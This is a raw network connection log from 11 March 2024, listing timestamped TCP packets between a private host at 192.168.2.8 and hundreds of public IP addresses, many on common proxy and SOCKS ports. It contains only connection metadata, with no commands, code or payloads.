Mar 11, 2024 18:36:45.574018955 CET	80	50284	182.72.203.255	192.168.2.8
Mar 11, 2024 18:36:45.574095964 CET	50509	52903	192.168.2.8	203.161.32.242
Mar 11, 2024 18:36:45.574146986 CET	50284	80	192.168.2.8	182.72.203.255
Mar 11, 2024 18:36:45.574196100 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:45.574393988 CET	50700	35396	192.168.2.8	192.163.200.200
Mar 11, 2024 18:36:45.574625969 CET	50509	52903	192.168.2.8	203.161.32.242
Mar 11, 2024 18:36:45.574896097 CET	50699	8080	192.168.2.8	188.132.222.7
Mar 11, 2024 18:36:45.574902058 CET	80	50380	172.67.3.98	192.168.2.8
Mar 11, 2024 18:36:45.574948072 CET	80	50380	172.67.3.98	192.168.2.8
Mar 11, 2024 18:36:45.575248957 CET	50284	80	192.168.2.8	182.72.203.255
Mar 11, 2024 18:36:45.575249910 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:45.575356960 CET	50380	80	192.168.2.8	172.67.3.98
Mar 11, 2024 18:36:45.575359106 CET	50701	27207	192.168.2.8	91.134.140.160
Mar 11, 2024 18:36:45.575577974 CET	41491	50397	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:45.575628042 CET	80	50380	172.67.3.98	192.168.2.8
Mar 11, 2024 18:36:45.575951099 CET	50380	80	192.168.2.8	172.67.3.98
Mar 11, 2024 18:36:45.576237917 CET	39452	50381	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:45.576268911 CET	50702	4145	192.168.2.8	198.8.94.170
Mar 11, 2024 18:36:45.576301098 CET	50703	5678	192.168.2.8	115.243.142.185
Mar 11, 2024 18:36:45.576719999 CET	80	50223	195.23.57.78	192.168.2.8
Mar 11, 2024 18:36:45.577106953 CET	80	50384	104.24.193.186	192.168.2.8
Mar 11, 2024 18:36:45.577121973 CET	8080	50322	95.84.166.138	192.168.2.8
Mar 11, 2024 18:36:45.577182055 CET	80	50384	104.24.193.186	192.168.2.8
Mar 11, 2024 18:36:45.577223063 CET	50322	8080	192.168.2.8	95.84.166.138
Mar 11, 2024 18:36:45.577406883 CET	80	50384	104.24.193.186	192.168.2.8
Mar 11, 2024 18:36:45.577476025 CET	50322	8080	192.168.2.8	95.84.166.138
Mar 11, 2024 18:36:45.577547073 CET	50384	80	192.168.2.8	104.24.193.186
Mar 11, 2024 18:36:45.578315973 CET	16379	50098	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:45.578344107 CET	50384	80	192.168.2.8	104.24.193.186
Mar 11, 2024 18:36:45.578366041 CET	16379	50098	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:45.578397989 CET	50098	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.578414917 CET	80	50211	172.67.38.96	192.168.2.8
Mar 11, 2024 18:36:45.578516960 CET	50098	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.579797029 CET	80	50391	104.25.81.82	192.168.2.8
Mar 11, 2024 18:36:45.579812050 CET	80	50391	104.25.81.82	192.168.2.8
Mar 11, 2024 18:36:45.579879045 CET	12334	49754	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:45.579988956 CET	49754	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:45.580128908 CET	80	50391	104.25.81.82	192.168.2.8
Mar 11, 2024 18:36:45.580199003 CET	50391	80	192.168.2.8	104.25.81.82
Mar 11, 2024 18:36:45.580739021 CET	50391	80	192.168.2.8	104.25.81.82
Mar 11, 2024 18:36:45.580740929 CET	49754	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:45.580776930 CET	80	50273	12.176.231.147	192.168.2.8
Mar 11, 2024 18:36:45.580946922 CET	80	50273	12.176.231.147	192.168.2.8
Mar 11, 2024 18:36:45.581022978 CET	50273	80	192.168.2.8	12.176.231.147
Mar 11, 2024 18:36:45.581219912 CET	50021	31295	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.581227064 CET	50017	5385	192.168.2.8	72.10.160.170
Mar 11, 2024 18:36:45.581228018 CET	49948	80	192.168.2.8	50.170.90.24
Mar 11, 2024 18:36:45.581233978 CET	50016	80	192.168.2.8	162.159.242.138
Mar 11, 2024 18:36:45.581233978 CET	49838	1080	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:45.581233978 CET	50022	3933	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:45.581233978 CET	49977	80	192.168.2.8	50.172.75.125
Mar 11, 2024 18:36:45.581245899 CET	49845	999	192.168.2.8	181.65.169.37
Mar 11, 2024 18:36:45.581245899 CET	49846	8080	192.168.2.8	85.117.60.162
Mar 11, 2024 18:36:45.581574917 CET	80	50585	185.238.228.202	192.168.2.8
Mar 11, 2024 18:36:45.581734896 CET	50585	80	192.168.2.8	185.238.228.202
Mar 11, 2024 18:36:45.582519054 CET	80	50587	104.25.87.42	192.168.2.8
Mar 11, 2024 18:36:45.582551003 CET	50585	80	192.168.2.8	185.238.228.202
Mar 11, 2024 18:36:45.582608938 CET	50587	80	192.168.2.8	104.25.87.42
Mar 11, 2024 18:36:45.582706928 CET	50587	80	192.168.2.8	104.25.87.42
Mar 11, 2024 18:36:45.582775116 CET	80	50588	104.21.223.181	192.168.2.8
Mar 11, 2024 18:36:45.585098982 CET	50588	80	192.168.2.8	104.21.223.181
Mar 11, 2024 18:36:45.587521076 CET	19802	50572	72.167.38.7	192.168.2.8
Mar 11, 2024 18:36:45.587534904 CET	49202	50363	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:45.587555885 CET	50588	80	192.168.2.8	104.21.223.181
Mar 11, 2024 18:36:45.587654114 CET	50363	49202	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.587855101 CET	50363	49202	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.591033936 CET	9002	50255	222.138.76.6	192.168.2.8
Mar 11, 2024 18:36:45.591806889 CET	15864	50532	192.252.214.20	192.168.2.8
Mar 11, 2024 18:36:45.591917992 CET	50255	9002	192.168.2.8	222.138.76.6
Mar 11, 2024 18:36:45.593027115 CET	50255	9002	192.168.2.8	222.138.76.6
Mar 11, 2024 18:36:45.593713045 CET	8888	50426	188.166.30.17	192.168.2.8
Mar 11, 2024 18:36:45.594042063 CET	16691	50496	92.204.136.149	192.168.2.8
Mar 11, 2024 18:36:45.594058037 CET	15673	50535	23.95.209.142	192.168.2.8
Mar 11, 2024 18:36:45.594171047 CET	50535	15673	192.168.2.8	23.95.209.142
Mar 11, 2024 18:36:45.596915960 CET	80	50220	31.43.179.214	192.168.2.8
Mar 11, 2024 18:36:45.596954107 CET	50535	15673	192.168.2.8	23.95.209.142
Mar 11, 2024 18:36:45.596993923 CET	50036	26087	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:45.596996069 CET	49849	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:45.596997976 CET	49857	83	192.168.2.8	103.168.164.94
Mar 11, 2024 18:36:45.597013950 CET	50049	80	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:45.597035885 CET	49851	4153	192.168.2.8	190.2.104.201
Mar 11, 2024 18:36:45.597035885 CET	49840	60781	192.168.2.8	132.148.129.254
Mar 11, 2024 18:36:45.597110987 CET	50039	8000	192.168.2.8	137.184.200.42
Mar 11, 2024 18:36:45.597110987 CET	49850	31337	192.168.2.8	186.251.255.73
Mar 11, 2024 18:36:45.597110987 CET	49855	36694	192.168.2.8	51.75.126.150
Mar 11, 2024 18:36:45.597136974 CET	49856	8080	192.168.2.8	176.88.166.218
Mar 11, 2024 18:36:45.600100040 CET	8888	49933	47.254.90.125	192.168.2.8
Mar 11, 2024 18:36:45.600573063 CET	9123	50329	173.249.29.243	192.168.2.8
Mar 11, 2024 18:36:45.600649118 CET	50329	9123	192.168.2.8	173.249.29.243
Mar 11, 2024 18:36:45.600649118 CET	49933	8888	192.168.2.8	47.254.90.125
Mar 11, 2024 18:36:45.601047993 CET	49933	8888	192.168.2.8	47.254.90.125
Mar 11, 2024 18:36:45.601367950 CET	50329	9123	192.168.2.8	173.249.29.243
Mar 11, 2024 18:36:45.603408098 CET	8000	49884	178.128.156.219	192.168.2.8
Mar 11, 2024 18:36:45.604347944 CET	3129	49719	20.219.180.149	192.168.2.8
Mar 11, 2024 18:36:45.604645014 CET	5123	50511	72.10.160.92	192.168.2.8
Mar 11, 2024 18:36:45.604657888 CET	80	50237	104.17.171.235	192.168.2.8
Mar 11, 2024 18:36:45.604969978 CET	8080	50429	8.218.100.120	192.168.2.8
Mar 11, 2024 18:36:45.605190992 CET	50429	8080	192.168.2.8	8.218.100.120
Mar 11, 2024 18:36:45.605279922 CET	1080	50123	64.124.145.1	192.168.2.8
Mar 11, 2024 18:36:45.605434895 CET	1080	50123	64.124.145.1	192.168.2.8
Mar 11, 2024 18:36:45.605468035 CET	50429	8080	192.168.2.8	8.218.100.120
Mar 11, 2024 18:36:45.605777025 CET	4145	50163	174.75.211.222	192.168.2.8
Mar 11, 2024 18:36:45.605926037 CET	4145	50163	174.75.211.222	192.168.2.8
Mar 11, 2024 18:36:45.606622934 CET	50273	80	192.168.2.8	12.176.231.147
Mar 11, 2024 18:36:45.607024908 CET	8080	50375	213.184.153.66	192.168.2.8
Mar 11, 2024 18:36:45.607141018 CET	50375	8080	192.168.2.8	213.184.153.66
Mar 11, 2024 18:36:45.607707024 CET	80	50609	104.16.109.207	192.168.2.8
Mar 11, 2024 18:36:45.607741117 CET	50375	8080	192.168.2.8	213.184.153.66
Mar 11, 2024 18:36:45.607882023 CET	50609	80	192.168.2.8	104.16.109.207
Mar 11, 2024 18:36:45.607942104 CET	8080	50382	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:45.608058929 CET	50382	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:45.608393908 CET	50382	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:45.608422041 CET	50609	80	192.168.2.8	104.16.109.207
Mar 11, 2024 18:36:45.608488083 CET	50705	4145	192.168.2.8	61.7.183.101
Mar 11, 2024 18:36:45.608762026 CET	50707	9002	192.168.2.8	221.6.139.190
Mar 11, 2024 18:36:45.608764887 CET	50706	4145	192.168.2.8	72.210.221.223
Mar 11, 2024 18:36:45.608928919 CET	50708	2222	192.168.2.8	223.25.100.42
Mar 11, 2024 18:36:45.609020948 CET	50709	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:45.609101057 CET	3128	50495	159.203.61.169	192.168.2.8
Mar 11, 2024 18:36:45.609117031 CET	80	49971	52.196.1.182	192.168.2.8
Mar 11, 2024 18:36:45.609129906 CET	80	50415	133.232.90.96	192.168.2.8
Mar 11, 2024 18:36:45.609232903 CET	50495	3128	192.168.2.8	159.203.61.169
Mar 11, 2024 18:36:45.609283924 CET	50415	80	192.168.2.8	133.232.90.96
Mar 11, 2024 18:36:45.609297037 CET	50710	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:45.609460115 CET	50495	3128	192.168.2.8	159.203.61.169
Mar 11, 2024 18:36:45.609467030 CET	50415	80	192.168.2.8	133.232.90.96
Mar 11, 2024 18:36:45.609850883 CET	50712	13087	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:45.609906912 CET	50711	8083	192.168.2.8	103.84.177.27
Mar 11, 2024 18:36:45.610114098 CET	50713	8187	192.168.2.8	176.8.230.197
Mar 11, 2024 18:36:45.610443115 CET	50714	8080	192.168.2.8	188.132.222.38
Mar 11, 2024 18:36:45.610502958 CET	50715	3128	192.168.2.8	51.178.165.36
Mar 11, 2024 18:36:45.610565901 CET	50716	5678	192.168.2.8	196.61.44.54
Mar 11, 2024 18:36:45.610671997 CET	50717	999	192.168.2.8	157.100.6.202
Mar 11, 2024 18:36:45.610842943 CET	50718	10677	192.168.2.8	72.10.160.173
Mar 11, 2024 18:36:45.610953093 CET	50719	80	192.168.2.8	104.22.50.220
Mar 11, 2024 18:36:45.611054897 CET	50720	8080	192.168.2.8	51.68.220.201
Mar 11, 2024 18:36:45.611221075 CET	50721	8080	192.168.2.8	154.126.81.163
Mar 11, 2024 18:36:45.611288071 CET	80	50249	172.67.182.126	192.168.2.8
Mar 11, 2024 18:36:45.611347914 CET	50723	64579	192.168.2.8	162.214.121.173
Mar 11, 2024 18:36:45.611347914 CET	50722	8888	192.168.2.8	35.199.90.225
Mar 11, 2024 18:36:45.612010002 CET	50724	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.612190962 CET	14282	50550	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:45.612221003 CET	50725	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:45.612468958 CET	49848	5005	192.168.2.8	1.194.236.229
Mar 11, 2024 18:36:45.612477064 CET	50018	80	192.168.2.8	50.168.210.239
Mar 11, 2024 18:36:45.612505913 CET	49947	4145	192.168.2.8	36.90.61.224
Mar 11, 2024 18:36:45.613239050 CET	999	50159	177.234.194.158	192.168.2.8
Mar 11, 2024 18:36:45.613559961 CET	50726	4153	192.168.2.8	46.28.72.75
Mar 11, 2024 18:36:45.613735914 CET	50727	7999	192.168.2.8	122.185.198.242
Mar 11, 2024 18:36:45.614721060 CET	5430	50066	202.179.184.44	192.168.2.8
Mar 11, 2024 18:36:45.614800930 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:45.614840984 CET	80	50438	172.67.14.237	192.168.2.8
Mar 11, 2024 18:36:45.614922047 CET	5430	50066	202.179.184.44	192.168.2.8
Mar 11, 2024 18:36:45.614960909 CET	80	50438	172.67.14.237	192.168.2.8
Mar 11, 2024 18:36:45.615375996 CET	50728	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:45.615384102 CET	50438	80	192.168.2.8	172.67.14.237
Mar 11, 2024 18:36:45.615436077 CET	3128	50542	23.152.40.14	192.168.2.8
Mar 11, 2024 18:36:45.615639925 CET	50542	3128	192.168.2.8	23.152.40.14
Mar 11, 2024 18:36:45.616061926 CET	50542	3128	192.168.2.8	23.152.40.14
Mar 11, 2024 18:36:45.616117001 CET	50729	15805	192.168.2.8	172.93.111.87
Mar 11, 2024 18:36:45.616134882 CET	80	50438	172.67.14.237	192.168.2.8
Mar 11, 2024 18:36:45.616255045 CET	50730	17639	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:45.616276979 CET	24397	50533	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:45.616296053 CET	50438	80	192.168.2.8	172.67.14.237
Mar 11, 2024 18:36:45.616384029 CET	999	50487	190.71.24.129	192.168.2.8
Mar 11, 2024 18:36:45.616483927 CET	50731	80	192.168.2.8	139.99.244.154
Mar 11, 2024 18:36:45.616611004 CET	50732	19770	192.168.2.8	207.244.255.174
Mar 11, 2024 18:36:45.617919922 CET	80	49919	50.175.212.74	192.168.2.8
Mar 11, 2024 18:36:45.617959023 CET	50733	80	192.168.2.8	172.67.127.188
Mar 11, 2024 18:36:45.617964029 CET	50734	8080	192.168.2.8	165.227.95.2
Mar 11, 2024 18:36:45.617990017 CET	50735	34405	192.168.2.8	212.110.188.198
Mar 11, 2024 18:36:45.618237972 CET	50736	80	192.168.2.8	18.142.81.218
Mar 11, 2024 18:36:45.618684053 CET	80	50440	185.238.228.240	192.168.2.8
Mar 11, 2024 18:36:45.618838072 CET	80	50440	185.238.228.240	192.168.2.8
Mar 11, 2024 18:36:45.619051933 CET	50737	62916	192.168.2.8	51.222.241.8
Mar 11, 2024 18:36:45.619138002 CET	50440	80	192.168.2.8	185.238.228.240
Mar 11, 2024 18:36:45.619296074 CET	50738	36779	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:45.619468927 CET	80	50440	185.238.228.240	192.168.2.8
Mar 11, 2024 18:36:45.619937897 CET	50440	80	192.168.2.8	185.238.228.240
Mar 11, 2024 18:36:45.620167017 CET	50739	8080	192.168.2.8	203.150.172.151
Mar 11, 2024 18:36:45.620637894 CET	46783	50574	162.241.158.204	192.168.2.8
Mar 11, 2024 18:36:45.620672941 CET	50740	64523	192.168.2.8	46.105.44.29
Mar 11, 2024 18:36:45.620845079 CET	50741	5678	192.168.2.8	36.66.133.19
Mar 11, 2024 18:36:45.620990992 CET	1080	50371	202.162.219.10	192.168.2.8
Mar 11, 2024 18:36:45.621023893 CET	5678	50277	103.112.254.66	192.168.2.8
Mar 11, 2024 18:36:45.621093988 CET	50371	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:45.621253014 CET	50371	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:45.622282982 CET	34560	50548	108.181.132.117	192.168.2.8
Mar 11, 2024 18:36:45.622555971 CET	4145	50396	103.58.16.57	192.168.2.8
Mar 11, 2024 18:36:45.623055935 CET	50742	80	192.168.2.8	172.67.182.107
Mar 11, 2024 18:36:45.623574972 CET	50744	4228	192.168.2.8	5.161.219.13
Mar 11, 2024 18:36:45.623575926 CET	50743	1080	192.168.2.8	143.137.116.72
Mar 11, 2024 18:36:45.623754025 CET	4145	50196	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:45.623914003 CET	50745	11339	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:45.623996019 CET	4145	50196	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:45.625041008 CET	50746	43328	192.168.2.8	192.169.226.96
Mar 11, 2024 18:36:45.625122070 CET	50747	5678	192.168.2.8	115.75.160.196
Mar 11, 2024 18:36:45.625986099 CET	50748	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:45.626166105 CET	55994	50556	38.127.172.219	192.168.2.8
Mar 11, 2024 18:36:45.627064943 CET	8888	50412	120.79.101.0	192.168.2.8
Mar 11, 2024 18:36:45.627088070 CET	50749	3128	192.168.2.8	103.28.121.58
Mar 11, 2024 18:36:45.627556086 CET	50412	8888	192.168.2.8	120.79.101.0
Mar 11, 2024 18:36:45.627754927 CET	50412	8888	192.168.2.8	120.79.101.0
Mar 11, 2024 18:36:45.628108978 CET	50114	8080	192.168.2.8	156.232.9.194
Mar 11, 2024 18:36:45.628108978 CET	49861	999	192.168.2.8	179.1.192.27
Mar 11, 2024 18:36:45.628137112 CET	49865	999	192.168.2.8	45.190.78.50
Mar 11, 2024 18:36:45.628137112 CET	49864	8080	192.168.2.8	105.174.40.54
Mar 11, 2024 18:36:45.628137112 CET	49869	17045	192.168.2.8	88.202.230.103
Mar 11, 2024 18:36:45.628137112 CET	49860	15430	192.168.2.8	92.205.110.118
Mar 11, 2024 18:36:45.628139973 CET	49866	27234	192.168.2.8	168.228.36.22
Mar 11, 2024 18:36:45.628140926 CET	49859	51405	192.168.2.8	51.81.186.179
Mar 11, 2024 18:36:45.628160954 CET	49863	64120	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:45.628160954 CET	49870	8181	192.168.2.8	103.78.96.146
Mar 11, 2024 18:36:45.628163099 CET	49875	9990	192.168.2.8	103.234.26.163
Mar 11, 2024 18:36:45.628164053 CET	49868	80	192.168.2.8	194.186.127.60
Mar 11, 2024 18:36:45.628164053 CET	49878	37847	192.168.2.8	51.75.126.150
Mar 11, 2024 18:36:45.628166914 CET	49992	37355	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:45.628168106 CET	49873	4444	192.168.2.8	193.143.1.201
Mar 11, 2024 18:36:45.628168106 CET	49874	3128	192.168.2.8	34.85.177.170
Mar 11, 2024 18:36:45.628938913 CET	50750	80	192.168.2.8	65.1.244.232
Mar 11, 2024 18:36:45.629025936 CET	51535	50592	162.241.66.135	192.168.2.8
Mar 11, 2024 18:36:45.629779100 CET	50751	80	192.168.2.8	190.5.77.211
Mar 11, 2024 18:36:45.631078005 CET	80	50272	172.67.181.129	192.168.2.8
Mar 11, 2024 18:36:45.631491899 CET	80	50448	172.67.209.12	192.168.2.8
Mar 11, 2024 18:36:45.631536007 CET	80	50448	172.67.209.12	192.168.2.8
Mar 11, 2024 18:36:45.631784916 CET	50448	80	192.168.2.8	172.67.209.12
Mar 11, 2024 18:36:45.631802082 CET	80	50448	172.67.209.12	192.168.2.8
Mar 11, 2024 18:36:45.632034063 CET	3128	50569	3.212.148.199	192.168.2.8
Mar 11, 2024 18:36:45.632077932 CET	80	50452	104.20.103.68	192.168.2.8
Mar 11, 2024 18:36:45.632189035 CET	50448	80	192.168.2.8	172.67.209.12
Mar 11, 2024 18:36:45.632200003 CET	50569	3128	192.168.2.8	3.212.148.199
Mar 11, 2024 18:36:45.632246971 CET	80	50452	104.20.103.68	192.168.2.8
Mar 11, 2024 18:36:45.632467031 CET	80	50452	104.20.103.68	192.168.2.8
Mar 11, 2024 18:36:45.632497072 CET	50569	3128	192.168.2.8	3.212.148.199
Mar 11, 2024 18:36:45.632577896 CET	50452	80	192.168.2.8	104.20.103.68
Mar 11, 2024 18:36:45.632709026 CET	50452	80	192.168.2.8	104.20.103.68
Mar 11, 2024 18:36:45.634180069 CET	80	49892	50.168.72.112	192.168.2.8
Mar 11, 2024 18:36:45.634861946 CET	3629	50406	91.220.69.43	192.168.2.8
Mar 11, 2024 18:36:45.637370110 CET	80	50656	104.16.108.42	192.168.2.8
Mar 11, 2024 18:36:45.637834072 CET	5529	50563	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.637989998 CET	50656	80	192.168.2.8	104.16.108.42
Mar 11, 2024 18:36:45.638143063 CET	50656	80	192.168.2.8	104.16.108.42
Mar 11, 2024 18:36:45.638164997 CET	3128	50468	18.135.211.182	192.168.2.8
Mar 11, 2024 18:36:45.641149998 CET	50468	3128	192.168.2.8	18.135.211.182
Mar 11, 2024 18:36:45.641149998 CET	50468	3128	192.168.2.8	18.135.211.182
Mar 11, 2024 18:36:45.641282082 CET	60651	50605	162.241.6.97	192.168.2.8
Mar 11, 2024 18:36:45.643771887 CET	49872	8080	192.168.2.8	87.76.1.251
Mar 11, 2024 18:36:45.643774033 CET	49871	34144	192.168.2.8	51.75.126.150
Mar 11, 2024 18:36:45.643838882 CET	49931	80	192.168.2.8	45.139.11.200
Mar 11, 2024 18:36:45.643985987 CET	49879	80	192.168.2.8	146.59.202.70
Mar 11, 2024 18:36:45.644016027 CET	3128	50306	38.54.116.9	192.168.2.8
Mar 11, 2024 18:36:45.645102024 CET	50306	3128	192.168.2.8	38.54.116.9
Mar 11, 2024 18:36:45.645224094 CET	50306	3128	192.168.2.8	38.54.116.9
Mar 11, 2024 18:36:45.646420002 CET	8193	49930	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.646524906 CET	8193	49930	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.650193930 CET	4145	50536	184.181.217.206	192.168.2.8
Mar 11, 2024 18:36:45.650602102 CET	8193	50467	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.650630951 CET	50536	4145	192.168.2.8	184.181.217.206
Mar 11, 2024 18:36:45.652020931 CET	5020	50428	176.192.65.34	192.168.2.8
Mar 11, 2024 18:36:45.653107882 CET	50467	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.653107882 CET	50428	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:45.656896114 CET	3128	50205	13.208.168.179	192.168.2.8
Mar 11, 2024 18:36:45.658797979 CET	50536	4145	192.168.2.8	184.181.217.206
Mar 11, 2024 18:36:45.658838034 CET	80	50480	50.217.226.45	192.168.2.8
Mar 11, 2024 18:36:45.658960104 CET	50467	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.659231901 CET	50428	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:45.659368992 CET	49883	32650	192.168.2.8	41.217.220.214
Mar 11, 2024 18:36:45.659369946 CET	49885	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:45.659369946 CET	49886	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:45.659383059 CET	49894	53783	192.168.2.8	162.241.46.69
Mar 11, 2024 18:36:45.659384012 CET	49891	3128	192.168.2.8	94.131.106.196
Mar 11, 2024 18:36:45.659400940 CET	49888	31337	192.168.2.8	186.251.255.105
Mar 11, 2024 18:36:45.659987926 CET	50752	1976	192.168.2.8	217.52.247.86
Mar 11, 2024 18:36:45.660243034 CET	50753	8080	192.168.2.8	165.16.67.238
Mar 11, 2024 18:36:45.660541058 CET	50754	80	192.168.2.8	50.207.199.80
Mar 11, 2024 18:36:45.660640001 CET	3128	50205	13.208.168.179	192.168.2.8
Mar 11, 2024 18:36:45.660681963 CET	50755	80	192.168.2.8	50.175.212.79
Mar 11, 2024 18:36:45.660793066 CET	50756	47354	192.168.2.8	67.213.212.49
Mar 11, 2024 18:36:45.661390066 CET	80	50463	104.16.105.142	192.168.2.8
Mar 11, 2024 18:36:45.661447048 CET	80	50282	104.17.166.210	192.168.2.8
Mar 11, 2024 18:36:45.661488056 CET	80	50463	104.16.105.142	192.168.2.8
Mar 11, 2024 18:36:45.662204027 CET	50757	62952	192.168.2.8	104.248.158.78
Mar 11, 2024 18:36:45.662204027 CET	50463	80	192.168.2.8	104.16.105.142
Mar 11, 2024 18:36:45.662525892 CET	5000	50077	49.228.131.169	192.168.2.8
Mar 11, 2024 18:36:45.662682056 CET	80	50463	104.16.105.142	192.168.2.8
Mar 11, 2024 18:36:45.663074970 CET	50758	8089	192.168.2.8	118.117.190.148
Mar 11, 2024 18:36:45.663074970 CET	50205	3128	192.168.2.8	13.208.168.179
Mar 11, 2024 18:36:45.663155079 CET	50463	80	192.168.2.8	104.16.105.142
Mar 11, 2024 18:36:45.663300037 CET	4153	50445	179.109.193.228	192.168.2.8
Mar 11, 2024 18:36:45.663531065 CET	50760	64110	192.168.2.8	164.92.86.113
Mar 11, 2024 18:36:45.663661003 CET	50759	7117	192.168.2.8	135.181.102.118
Mar 11, 2024 18:36:45.663686991 CET	5000	50077	49.228.131.169	192.168.2.8
Mar 11, 2024 18:36:45.663846970 CET	50077	5000	192.168.2.8	49.228.131.169
Mar 11, 2024 18:36:45.663935900 CET	5000	50077	49.228.131.169	192.168.2.8
Mar 11, 2024 18:36:45.664025068 CET	50077	5000	192.168.2.8	49.228.131.169
Mar 11, 2024 18:36:45.664105892 CET	8080	50411	27.54.71.231	192.168.2.8
Mar 11, 2024 18:36:45.664243937 CET	50411	8080	192.168.2.8	27.54.71.231
Mar 11, 2024 18:36:45.664299011 CET	50762	8081	192.168.2.8	178.141.249.246
Mar 11, 2024 18:36:45.664351940 CET	50411	8080	192.168.2.8	27.54.71.231
Mar 11, 2024 18:36:45.664448977 CET	50761	9090	192.168.2.8	91.241.217.58
Mar 11, 2024 18:36:45.664689064 CET	50763	64556	192.168.2.8	213.136.79.177
Mar 11, 2024 18:36:45.664876938 CET	50764	37976	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:45.664942980 CET	50765	6005	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:45.665322065 CET	50768	8080	192.168.2.8	45.150.25.132
Mar 11, 2024 18:36:45.665348053 CET	50766	80	192.168.2.8	50.170.90.34
Mar 11, 2024 18:36:45.665534973 CET	50767	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:45.665537119 CET	50769	7497	192.168.2.8	187.191.53.155
Mar 11, 2024 18:36:45.665735006 CET	50770	80	192.168.2.8	50.168.163.180
Mar 11, 2024 18:36:45.665913105 CET	50771	4153	192.168.2.8	177.131.29.211
Mar 11, 2024 18:36:45.666024923 CET	50772	4850	192.168.2.8	192.169.226.96
Mar 11, 2024 18:36:45.666198015 CET	50773	3128	192.168.2.8	134.209.29.120
Mar 11, 2024 18:36:45.666507959 CET	50774	5369	192.168.2.8	72.10.160.171
Mar 11, 2024 18:36:45.666508913 CET	50775	56581	192.168.2.8	159.223.71.71
Mar 11, 2024 18:36:45.666656971 CET	50776	55636	192.168.2.8	1.179.148.9
Mar 11, 2024 18:36:45.666949034 CET	50777	3629	192.168.2.8	190.3.72.38
Mar 11, 2024 18:36:45.666951895 CET	50778	4145	192.168.2.8	74.119.147.209
Mar 11, 2024 18:36:45.667046070 CET	50779	8083	192.168.2.8	103.84.177.28
Mar 11, 2024 18:36:45.667325974 CET	50780	23685	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.667521000 CET	50782	4145	192.168.2.8	168.205.217.37
Mar 11, 2024 18:36:45.667593956 CET	50781	59623	192.168.2.8	62.182.114.164
Mar 11, 2024 18:36:45.667695045 CET	50783	8080	192.168.2.8	103.172.42.121
Mar 11, 2024 18:36:45.667943954 CET	50784	83	192.168.2.8	103.183.63.14
Mar 11, 2024 18:36:45.668049097 CET	50785	8080	192.168.2.8	180.191.254.130
Mar 11, 2024 18:36:45.668159008 CET	50786	3629	192.168.2.8	190.3.72.39
Mar 11, 2024 18:36:45.668502092 CET	50787	1976	192.168.2.8	41.65.236.56
Mar 11, 2024 18:36:45.668502092 CET	50788	8282	192.168.2.8	193.138.178.6
Mar 11, 2024 18:36:45.668587923 CET	50789	80	192.168.2.8	119.81.71.27
Mar 11, 2024 18:36:45.668793917 CET	50790	28513	192.168.2.8	213.136.78.200
Mar 11, 2024 18:36:45.668967009 CET	55137	50010	192.169.197.146	192.168.2.8
Mar 11, 2024 18:36:45.668996096 CET	50791	17228	192.168.2.8	207.180.198.241
Mar 11, 2024 18:36:45.669118881 CET	50792	80	192.168.2.8	104.27.26.29
Mar 11, 2024 18:36:45.669405937 CET	50794	80	192.168.2.8	50.207.199.87
Mar 11, 2024 18:36:45.669420958 CET	50793	999	192.168.2.8	38.7.4.89
Mar 11, 2024 18:36:45.669663906 CET	50795	80	192.168.2.8	172.67.181.12
Mar 11, 2024 18:36:45.669739962 CET	3128	50423	188.56.223.85	192.168.2.8
